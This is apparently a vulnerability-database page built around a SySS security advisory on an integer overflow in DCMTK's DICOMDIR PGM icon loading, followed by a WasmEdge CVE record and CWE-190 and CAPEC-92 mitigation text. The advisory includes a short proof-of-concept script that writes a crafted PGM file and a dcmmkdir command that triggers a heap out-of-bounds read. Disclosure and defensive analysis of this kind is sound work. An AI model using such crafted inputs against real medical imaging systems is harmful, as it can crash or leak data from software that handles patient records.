pgmHeight = 0; // ... values parsed from PGM file via sscanf() const unsigned long pgmSize = pgmWidth * pgmHeight; Uint8 *pgmData = new Uint8[pgmSize]; Both pgmWidth and pgmHeight are unsigned int. Their product is computed as unsigned int, and only then assigned to unsigned long. On any platform where unsigned int is 32 bits, a crafted PGM file with the dimensions 4294967295 * 4294967295 produces pgmSize = 1 after overflow (4294967295 * 4294967295 = 0x100000001, truncated to 32 bits = 1). The allocation "new Uint8[1]" succeeds, and fread() reads exactly 1 byte from the PGM file. The icon scaler is invoked at line 4505 of dcddirif.cc: result = ImagePlugin->scaleData(pgmData, pgmWidth, pgmHeight, pixel, width, height); The scaler implementation (DicomDirImageImplementation::scaleData in dcmjpeg/libsrc/ddpiimpl.cc, line 60) casts the dimensions from unsigned int to Uint16 without validation: DiScaleTemplate<Uint8> scale(1, OFstatic_cast(Uint16, srcWidth), // 4294967295 -> 65535 OFstatic_cast(Uint16, srcHeight), // 4294967295 -> 65535 OFstatic_cast(Uint16, dstWidth), OFstatic_cast(Uint16, dstHeight), 1); scale.scaleData(OFstatic_cast(const Uint8 **, &srcData), &dstData, 1 /* interpolate */); The DiScaleTemplate constructor (dcmimgle/include/dcmtk/dcmimgle/discalet.h, line 148) stores the truncated dimensions: DiScaleTemplate(const int planes, const Uint16 src_cols, // resolution of source image const Uint16 src_rows, const Uint16 dest_cols, const Uint16 dest_rows, const Uint32 frames, const int bits = 0) The scaleData() method (line 187) then iterates over the source image using the truncated dimensions (65535 * 65535), reading from the 1-byte heap allocation through the interpolatePixel() method, causing a heap out-of-bounds read. The root cause is the unchecked cast from unsigned int to Uint16 in the scaler (ddpiimpl.cc:60), which silently truncates dimensions without any bounds validation. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): The integer overflow can be demonstrated using a specially crafted PGM file. The following shell script exemplarily creates such a file named demo.pgm: cat > create_pgm.sh << 'EOF' #!/bin/bash printf 'P5\n4294967295 4294967295\n255\n' > demo.pgm printf '\x00' >> demo.pgm EOF If this PGM file is processed by a vulnerable DCMTK component like dcmmkdir, a heap out-of-bounds read is triggered, causing a segmentation fault in this proof-of-concept example. The DICOM file PAT001 does not contain pixel data and thus forces a fallback to the default icon. dcmmkdir +X --default-icon demo.pgm PAT001 E: no pixel data found in DICOM dataset W: cannot create monochrome icon from image file, using default ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: This security issue was fixed with the commit 534e146b672ccd13d1a2b134ef623840e775396a (see [4]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-07-02: Vulnerability reported to manufacturer 2026-07-02: Manufacturer acknowledges receipt of security advisories 2026-07-03: Security fix published by manufacturer (see [4]) 2026-07-31: Public release of security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] DCMTK project website https://dcmtk.org/en/ [2] SySS Security Advisory SYSS-2026-046 [3] SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] DCMTK security fix ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Matthias Deeg of SySS GmbH with the assistance of SySS AI. E-Mail: matthias.deeg (at) syss.de Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Impacted products
Vendor Product Version
Dicom DICOM Toolkit Affected: unknown
Create a notification for this product.

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          "value": "Advisory ID:               SYSS-2026-046\nProduct:                   DCMTK (DICOM ToolKit)\nManufacturer:              OFFIS e.V. / DCMTK Community\nAffected Version(s):       3.7.0\nTested Version(s):         3.7.0\nVulnerability Type:        Integer Overflow or Wraparound (CWE-190)\nRisk Level:                High\nSolution Status:           Fixed\nManufacturer Notification: 2026-07-02\nSolution Date:             2026-07-03\nPublic Disclosure:         2026-07-31\nCVE Reference:             Not yet assigned\nAuthor of Advisory:        Matthias Deeg, SySS GmbH\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nOverview:\n\nDCMTK (DICOM ToolKit) is an open-source collection of libraries and\napplications implementing large parts of the DICOM (Digital Imaging\nand Communications in Medicine) standard (see [1]).\n\nDCMTK\u0027s DICOMDIR icon image loading is vulnerable to an integer overflow\nin the PGM image size calculation. An attacker who can supply a\nmalicious PGM file referenced as an external icon can cause a heap\nout-of-bounds read in the icon scaler, leading to a process crash or\npotential information disclosure.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nVulnerability Details:\n\nThe function DicomDirInterface::getIconFromFile() in libsrc/dcddirif.cc\n(line 4489) computes the PGM image buffer size by multiplying the width\nand height parsed from the PGM file header:\n\n  unsigned int pgmWidth, pgmHeight = 0;\n  // ... values parsed from PGM file via sscanf()\n  const unsigned long pgmSize = pgmWidth * pgmHeight;\n  Uint8 *pgmData = new Uint8[pgmSize];\n\nBoth pgmWidth and pgmHeight are unsigned int. Their product is computed\nas unsigned int, and only then assigned to unsigned long.\n\nOn any platform where unsigned int is 32 bits, a crafted PGM file with the\ndimensions 4294967295 * 4294967295 produces pgmSize = 1 after overflow\n(4294967295 * 4294967295 = 0x100000001, truncated to 32 bits = 1).\n\nThe allocation \"new Uint8[1]\" succeeds, and fread() reads exactly 1 byte\nfrom the PGM file.\n\nThe icon scaler is invoked at line 4505 of dcddirif.cc:\n\n  result = ImagePlugin-\u003escaleData(pgmData, pgmWidth, pgmHeight,\n                                  pixel, width, height);\n\nThe scaler implementation (DicomDirImageImplementation::scaleData in\ndcmjpeg/libsrc/ddpiimpl.cc, line 60) casts the dimensions from\nunsigned int to Uint16 without validation:\n\n  DiScaleTemplate\u003cUint8\u003e scale(1,\n      OFstatic_cast(Uint16, srcWidth),   // 4294967295 -\u003e 65535\n      OFstatic_cast(Uint16, srcHeight),  // 4294967295 -\u003e 65535\n      OFstatic_cast(Uint16, dstWidth),\n      OFstatic_cast(Uint16, dstHeight),\n      1);\n  scale.scaleData(OFstatic_cast(const Uint8 **, \u0026srcData),\n                  \u0026dstData, 1 /* interpolate */);\n\nThe DiScaleTemplate constructor (dcmimgle/include/dcmtk/dcmimgle/discalet.h,\nline 148) stores the truncated dimensions:\n\n  DiScaleTemplate(const int planes,\n                  const Uint16 src_cols,   // resolution of source image\n                  const Uint16 src_rows,\n                  const Uint16 dest_cols,\n                  const Uint16 dest_rows,\n                  const Uint32 frames,\n                  const int bits = 0)\n\nThe scaleData() method (line 187) then iterates over the source image\nusing the truncated dimensions (65535 * 65535), reading from the 1-byte\nheap allocation through the interpolatePixel() method, causing a heap\nout-of-bounds read.\n\nThe root cause is the unchecked cast from unsigned int to Uint16 in the\nscaler (ddpiimpl.cc:60), which silently truncates dimensions without any\nbounds validation.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nProof of Concept (PoC):\n\nThe integer overflow can be demonstrated using a specially crafted PGM\nfile. The following shell script exemplarily creates such a file named\ndemo.pgm:\n\ncat \u003e create_pgm.sh \u003c\u003c \u0027EOF\u0027\n#!/bin/bash\nprintf \u0027P5\\n4294967295 4294967295\\n255\\n\u0027 \u003e demo.pgm\nprintf \u0027\\x00\u0027 \u003e\u003e demo.pgm\nEOF\n\nIf this PGM file is processed by a vulnerable DCMTK component like\ndcmmkdir, a heap out-of-bounds read is triggered, causing a segmentation\nfault in this proof-of-concept example. The DICOM file PAT001 does not\ncontain pixel data and thus forces a fallback to the default icon.\n\ndcmmkdir +X --default-icon demo.pgm PAT001\nE: no pixel data found in DICOM dataset\nW: cannot create monochrome icon from image file, using default\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSolution:\n\nThis security issue was fixed with the commit\n534e146b672ccd13d1a2b134ef623840e775396a (see [4]).\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclosure Timeline:\n\n2026-07-02: Vulnerability reported to manufacturer\n2026-07-02: Manufacturer acknowledges receipt of security advisories\n2026-07-03: Security fix published by manufacturer (see [4])\n2026-07-31: Public release of security advisory\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nReferences:\n\n[1] DCMTK project website\n    https://dcmtk.org/en/\n[2] SySS Security Advisory SYSS-2026-046\n\n[3] SySS GmbH, SySS Responsible Disclosure Policy\n    https://www.syss.de/en/responsible-disclosure-policy\n[4] DCMTK security fix\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nCredits:\n\nThis security vulnerability was found by Matthias Deeg of SySS GmbH with\nthe assistance of SySS AI.\n\nE-Mail: matthias.deeg (at) syss.de\n\nKey fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDisclaimer:\n\nThe information provided in this security advisory is provided \"as is\"\nand without warranty of any kind. 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CVE-2025-69261 (GCVE-0-2025-69261)

Vulnerability from cvelistv5 – Published: 2025-12-30 19:43 – Updated: 2026-01-02 15:16
VLAI
Title
WasmEdge integer wrap in MemoryInstance::getSpan()'s memory size check
Summary
WasmEdge is a WebAssembly runtime. Prior to version 0.16.0-alpha.3, a multiplication in `WasmEdge/include/runtime/instance/memory.h` can wrap, causing `checkAccessBound()` to incorrectly allow the access. This leads to a segmentation fault. Version 0.16.0-alpha.3 contains a patch for the issue.
SSVC
Exploitation: none Automatable: yes Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-01-02 15:16 UTC
CWE
  • CWE-190 - Integer Overflow or Wraparound
References
Impacted products
Vendor Product Version
WasmEdge WasmEdge Affected: < 0.16.0-alpha.3
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Show details on NVD website

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              "content": {
                "id": "CVE-2025-69261",
                "options": [
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                    "Exploitation": "none"
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          "value": "WasmEdge is a WebAssembly runtime. Prior to version 0.16.0-alpha.3, a multiplication in `WasmEdge/include/runtime/instance/memory.h` can wrap, causing `checkAccessBound()` to incorrectly allow the access. This leads to a segmentation fault. Version 0.16.0-alpha.3 contains a patch for the issue."
        }
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      "metrics": [
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          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
            "version": "4.0",
            "vulnAvailabilityImpact": "LOW",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "NONE"
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      "providerMetadata": {
        "dateUpdated": "2025-12-30T19:43:59.746Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
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      "references": [
        {
          "name": "https://github.com/WasmEdge/WasmEdge/security/advisories/GHSA-89fm-8mr7-gg4m",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/WasmEdge/WasmEdge/security/advisories/GHSA-89fm-8mr7-gg4m"
        },
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          "name": "https://github.com/WasmEdge/WasmEdge/commit/37cc9fa19bd23edbbdaa9252059b17f191fa4d17",
          "tags": [
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          "url": "https://github.com/WasmEdge/WasmEdge/commit/37cc9fa19bd23edbbdaa9252059b17f191fa4d17"
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      "source": {
        "advisory": "GHSA-89fm-8mr7-gg4m",
        "discovery": "UNKNOWN"
      },
      "title": "WasmEdge integer wrap in MemoryInstance::getSpan()\u0027s memory size check"
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Mitigation
Requirements

Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.

Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • If possible, choose a language or compiler that performs automatic bounds checking.
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Use libraries or frameworks that make it easier to handle numbers without unexpected consequences.
  • Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]
Mitigation MIT-8
Implementation

Strategy: Input Validation

  • Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.
  • Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.
Mitigation MIT-36
Implementation
  • Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7]
  • Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-26
Implementation

Strategy: Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

CAPEC-92: Forced Integer Overflow

This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.